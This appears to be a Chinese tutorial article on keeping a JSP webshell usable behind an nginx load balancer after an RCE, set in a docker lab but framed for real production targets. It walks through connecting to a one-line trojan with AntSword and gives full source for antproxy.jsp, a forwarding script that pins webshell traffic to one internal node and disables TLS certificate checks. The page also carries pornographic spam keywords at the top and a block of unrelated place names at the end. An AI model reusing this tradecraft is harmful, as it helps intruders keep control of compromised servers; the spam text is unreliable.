最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

nginx負(fù)載均衡下的webshell上傳的實(shí)現(xiàn)

 更新時(shí)間:2023年03月03日 10:45:37   作者:努力學(xué)IT的小徐  
本文主要介紹了nginx負(fù)載均衡下的webshell上傳的實(shí)現(xiàn),文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧

場(chǎng)景描述

假定在真實(shí)生產(chǎn)環(huán)境中,存在一個(gè)RCE漏洞,可以讓我們獲取WebShell

環(huán)境的安裝

首先在GetHub上拉去漏洞的鏡像前,需提前在centos上安裝nginx和tomcat以及配置好nginx以及tomcat的相關(guān)配置文件,在使用docker將鏡像拉取下來(lái),進(jìn)行漏洞的復(fù)現(xiàn)。

1、先將docker環(huán)境搭建起來(lái)

2、測(cè)試tomcat是否可以訪(fǎng)問(wèn)

 根據(jù)上圖可以看出,后端的tomcat是可以訪(fǎng)問(wèn)的

3、查看docker中nginx反向代理的負(fù)載均衡

4、查看docker中l(wèi)bsnode1中的ant.jsp文件

此文件可以理解為一句話(huà)木馬,在lbsnode2中也是存有相同的文件

lbsnode1:

 lbsnode2:

5、通過(guò)中國(guó)蟻劍來(lái)連接ant.jsp文件

 因?yàn)閮膳_(tái)節(jié)點(diǎn)都在相同的位置存在 ant.jsp,所以連接的時(shí)候也沒(méi)出現(xiàn)什么異常

復(fù)現(xiàn)過(guò)程

存在的問(wèn)題

問(wèn)題一:由于nginx采用的反向代理是輪詢(xún)的方式,所以上傳文件必須在兩臺(tái)后端服務(wù)器的相同位置上傳相同的文件

因?yàn)槲覀兪欠聪虼淼呢?fù)載均衡,就存在上傳文件出現(xiàn)一臺(tái)后端服務(wù)器上有我們上傳的文件,另一臺(tái)服務(wù)器上沒(méi)有我們上傳的文件,出現(xiàn)的結(jié)果就是,一旦一臺(tái)服務(wù)器上沒(méi)有,那么在請(qǐng)求輪到這臺(tái)服務(wù)器的時(shí)候,就會(huì)報(bào)出404的錯(cuò)誤,從而影響使用,這也就是一會(huì)出現(xiàn)正常,一會(huì)出現(xiàn)錯(cuò)誤的原因。

解決方案:

我們需要在每一臺(tái)節(jié)點(diǎn)的相同位置都上傳相同內(nèi)容的WebShell,從而實(shí)現(xiàn)無(wú)論是輪詢(xún)到哪臺(tái)服務(wù)器上都可以訪(fǎng)問(wèn)到我們的后端服務(wù)器上。實(shí)現(xiàn)每一臺(tái)后端服務(wù)器上都有上傳的文件,就需要瘋狂上傳。

問(wèn)題二:我們?cè)趫?zhí)行命令時(shí),無(wú)法知道下次的請(qǐng)求交給哪臺(tái)機(jī)器去執(zhí)行

我們?cè)趫?zhí)行hostname -i查看當(dāng)前執(zhí)行機(jī)器的IP時(shí),可以看到IP地址一直在漂移

問(wèn)題三:當(dāng)我們需要上傳一些較大的工具時(shí),會(huì)造成工具無(wú)法使用的情況

當(dāng)我們上傳一個(gè)較大的文件時(shí),由于A(yíng)ntSword上傳文件時(shí),采用的是分片上傳方式,把一個(gè)文件分成了多次HTTP請(qǐng)求發(fā)送給目標(biāo),造成文件的一部分內(nèi)容在A(yíng)這臺(tái)服務(wù)器上,另一部分文件在B這臺(tái)服務(wù)器上,從而使得較大的工具或者文件無(wú)法打開(kāi)或者使用

問(wèn)題四:由于目標(biāo)主機(jī)不能出外網(wǎng),想要進(jìn)一步深入,只能使用reGeorg/HTTPAbs 等 HTTP Tunnel,可在這個(gè)場(chǎng)景下,這些 tunnel 腳本全部都失靈了。

解決方案

方案一:關(guān)掉其中的一臺(tái)后端服務(wù)器

關(guān)閉后端其中的一臺(tái)服務(wù)器確實(shí)能夠解決上述的四種問(wèn)題,但是這個(gè)方案實(shí)在是“老壽星上吊---活膩了”,影響業(yè)務(wù),還會(huì)造成災(zāi)難,直接Pass不考慮

綜合評(píng)價(jià):真是環(huán)境下千萬(wàn)不要嘗試!??!

方案二:在程序執(zhí)行前先判斷要不要執(zhí)行

既然無(wú)法預(yù)測(cè)下一次是哪臺(tái)機(jī)器去執(zhí)行,那我們的shell在執(zhí)行Payload之前,先判斷一下要不要執(zhí)行不就可以了。

首次按創(chuàng)建一個(gè)腳本demo.sh,該腳本是獲取我們的后端其中一臺(tái)服務(wù)器的地址,匹配到這臺(tái)服務(wù)器的地址才進(jìn)行程序的執(zhí)行,匹配到另一臺(tái)服務(wù)器則不進(jìn)行程序的執(zhí)行。

通過(guò)中國(guó)蟻劍將demo.sh腳本文件上傳到后端的兩臺(tái)服務(wù)器上,因?yàn)槭秦?fù)載均衡,所以需要瘋狂點(diǎn)擊上傳

 這樣一來(lái),確實(shí)能夠保證執(zhí)行的命令是在我們想要的機(jī)器上了,可是這樣執(zhí)行命令,沒(méi)有一絲美感,另外,大文件上傳、HTTP隧道這些問(wèn)題也沒(méi)有解決。

綜合評(píng)價(jià):該方案勉強(qiáng)能用,僅適合在執(zhí)行命令的時(shí)候用,不夠優(yōu)雅。

方案三:在Web層做一次HTTP流量的轉(zhuǎn)發(fā)(重點(diǎn))

沒(méi)錯(cuò),我們用 AntSword 沒(méi)法直接訪(fǎng)問(wèn) LBSNode1 內(nèi)網(wǎng)IP(172.23.0.2)的 8080 端口,但是有人能訪(fǎng)問(wèn)呀,除了 nginx 能訪(fǎng)問(wèn)之外,LBSNode2 這臺(tái)機(jī)器也是可以訪(fǎng)問(wèn) Node1 這臺(tái)機(jī)器的 8080 端口的。

還記不記得 「PHP Bypass Disable Function」 這個(gè)插件,我們?cè)谶@個(gè)插件加載 so 之后,本地啟動(dòng)了一個(gè) httpserver,然后我們用到了 HTTP 層面的流量轉(zhuǎn)發(fā)腳本 「antproxy.php」, 我們放在這個(gè)場(chǎng)景下看:

 我們一步一步來(lái)看這個(gè)圖,我們的目的是:所有的數(shù)據(jù)包都能發(fā)給「LBSNode 1」這臺(tái)機(jī)器

首先是 第 1 步,我們請(qǐng)求 /antproxy.jsp,這個(gè)請(qǐng)求發(fā)給 nginx

nginx 接到數(shù)據(jù)包之后,會(huì)有兩種情況:

我們先看黑色線(xiàn),第 2 步把請(qǐng)求傳遞給了目標(biāo)機(jī)器,請(qǐng)求了 Node1 機(jī)器上的 /antproxy.jsp,接著 第 3 步,/antproxy.jsp 把請(qǐng)求重組之后,傳給了 Node1 機(jī)器上的 /ant.jsp,成功執(zhí)行。

再來(lái)看紅色線(xiàn),第 2 步把請(qǐng)求傳給了 Node2 機(jī)器, 接著第 3 步,Node2 機(jī)器上面的 /antproxy.jsp 把請(qǐng)求重組之后,傳給了 Node1 的 /ant.jsp,成功執(zhí)行。

1、創(chuàng)建 antproxy.jsp 腳本

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%
        String target = "http://172.24.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

2、修改轉(zhuǎn)發(fā)地址,轉(zhuǎn)向目標(biāo) Node 的內(nèi)網(wǎng)IP的 目標(biāo)腳本 訪(fǎng)問(wèn)地址。

注意:不僅僅是 WebShell 喲,還可以改成 reGeorg 等腳本的訪(fǎng)問(wèn)地址

我們將 target 指向了 LBSNode1 的 ant.jsp

注意:

a) 不要使用上傳功能,上傳功能會(huì)分片上傳,導(dǎo)致分散在不同 Node 上。

b) 要保證每一臺(tái) Node 上都有相同路徑的 antproxy.jsp, 所以我瘋狂保存了很多次,保證每一臺(tái)都上傳了腳本

3、 修改 Shell 配置, 將 URL 部分填寫(xiě)為 antproxy.jsp 的地址,其它配置不變

4、 測(cè)試執(zhí)行命令, 查看 IP

 可以看到 IP 已經(jīng)固定, 意味著請(qǐng)求已經(jīng)固定到了 LBSNode1 這臺(tái)機(jī)器上了。此時(shí)使用分片上傳、HTTP 代理,都已經(jīng)跟單機(jī)的情況沒(méi)什么區(qū)別了

該方案的優(yōu)點(diǎn):

1、低權(quán)限就可以完成,如果權(quán)限高的話(huà),還可以通過(guò)端口層面直接轉(zhuǎn)發(fā),不過(guò)這跟 Plan A 的關(guān)服務(wù)就沒(méi)啥區(qū)別了

2、流量上,只影響訪(fǎng)問(wèn) WebShell 的請(qǐng)求,其它的正常業(yè)務(wù)請(qǐng)求不會(huì)影響。

3、適配更多工具

缺點(diǎn):

該方案需要「目標(biāo) Node」和「其它 Node」 之間內(nèi)網(wǎng)互通,如果不互通就涼了。

到此這篇關(guān)于nginx負(fù)載均衡下的webshell上傳的實(shí)現(xiàn)的文章就介紹到這了,更多相關(guān)nginx負(fù)載均衡webshell上傳內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • nginx反向代理失效前端無(wú)法獲取后端的數(shù)據(jù)解決辦法

    nginx反向代理失效前端無(wú)法獲取后端的數(shù)據(jù)解決辦法

    Nginx服務(wù)器的反向代理服務(wù)是其最常用的重要功能,由反向代理服務(wù)也可以衍生出很多與此相關(guān)的Nginx服務(wù)器重要功能,下面這篇文章主要給大家介紹了關(guān)于nginx反向代理失效前端無(wú)法獲取后端的數(shù)據(jù)解決的相關(guān)資料,需要的朋友可以參考下
    2023-12-12
  • 內(nèi)網(wǎng)環(huán)境nginx配置https訪(fǎng)問(wèn)的過(guò)程詳解

    內(nèi)網(wǎng)環(huán)境nginx配置https訪(fǎng)問(wèn)的過(guò)程詳解

    這篇文章主要介紹了內(nèi)網(wǎng)環(huán)境nginx配置https訪(fǎng)問(wèn),本文給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2023-06-06
  • 升級(jí)nginx以支持http2的方法

    升級(jí)nginx以支持http2的方法

    本篇文章主要介紹了升級(jí)nginx以支持http2的方法,小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧
    2018-03-03
  • Nginx實(shí)現(xiàn)404頁(yè)面的幾種方法(三種)

    Nginx實(shí)現(xiàn)404頁(yè)面的幾種方法(三種)

    一個(gè)網(wǎng)站項(xiàng)目,肯定是避免不了404頁(yè)面的,通常使用Nginx作為Web服務(wù)器時(shí),有些相關(guān)配置方法,下面小編給大家?guī)?lái)了Nginx實(shí)現(xiàn)404頁(yè)面的幾種方法,感興趣的朋友一起看看吧
    2018-08-08
  • 簡(jiǎn)介使用Nginx Plus的在線(xiàn)活動(dòng)監(jiān)控功能的方法

    簡(jiǎn)介使用Nginx Plus的在線(xiàn)活動(dòng)監(jiān)控功能的方法

    這篇文章主要介紹了簡(jiǎn)介使用Nginx Plus的在線(xiàn)活動(dòng)監(jiān)控功能的方法,注意其目前暫時(shí)為收費(fèi)項(xiàng)目,需要的朋友可以參考下
    2015-06-06
  • Nginx中共享session會(huì)話(huà)配置方法例子

    Nginx中共享session會(huì)話(huà)配置方法例子

    這篇文章主要介紹了Nginx中共享session會(huì)話(huà)配置方法例子,最后使用第三方模塊upstream_hash解決了這個(gè)問(wèn)題,需要的朋友可以參考下
    2014-07-07
  • nginx部署前端post請(qǐng)求405?not?allowed問(wèn)題解決

    nginx部署前端post請(qǐng)求405?not?allowed問(wèn)題解決

    在配置前端項(xiàng)目的時(shí)候遇到了一個(gè)post請(qǐng)求405 not allowed,簡(jiǎn)單記錄一下如何配置,這篇文章主要給大家介紹了關(guān)于nginx部署前端post請(qǐng)求405?not?allowed問(wèn)題解決方法,需要的朋友可以參考下
    2023-09-09
  • 前端項(xiàng)目中Nginx配置指南詳解

    前端項(xiàng)目中Nginx配置指南詳解

    這篇文章主要為大家詳細(xì)介紹了在前端項(xiàng)目開(kāi)發(fā)中如何配置Nginx,文中的示例代碼講解詳細(xì),具有一定的學(xué)習(xí)價(jià)值,感興趣的小伙伴可以了解一下
    2023-09-09
  • 使用nginx配置基于域名的虛擬主機(jī)實(shí)現(xiàn)​

    使用nginx配置基于域名的虛擬主機(jī)實(shí)現(xiàn)​

    這篇文章主要介紹了nginx配置基于域名的虛擬主機(jī)實(shí)現(xiàn)&#8203;,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2019-10-10
  • Windows環(huán)境實(shí)現(xiàn)Nginx配置及開(kāi)機(jī)自啟動(dòng)

    Windows環(huán)境實(shí)現(xiàn)Nginx配置及開(kāi)機(jī)自啟動(dòng)

    本文主要介紹了Windows環(huán)境實(shí)現(xiàn)Nginx配置及開(kāi)機(jī)自啟動(dòng),通過(guò)兩種方式可以實(shí)現(xiàn)nginx的開(kāi)機(jī)自啟動(dòng),具有一定的參考價(jià)值,感興趣的可以了解一下
    2024-03-03

最新評(píng)論

长泰县| 深泽县| 南通市| 原阳县| 大余县| 东港市| 潮州市| 土默特左旗| 昂仁县| 娄底市| 乌拉特前旗| 萝北县| 紫阳县| 漳浦县| 县级市| 灌南县| 尤溪县| 神木县| 岱山县| 阳朔县| 任丘市| 东辽县| 乐安县| 府谷县| 兴义市| 大荔县| 无极县| 澎湖县| 泰宁县| 保德县| 郎溪县| 遵义市| 龙州县| 富民县| 宜昌市| 贵州省| 博罗县| 周口市| 长顺县| 栖霞市| 吉林市|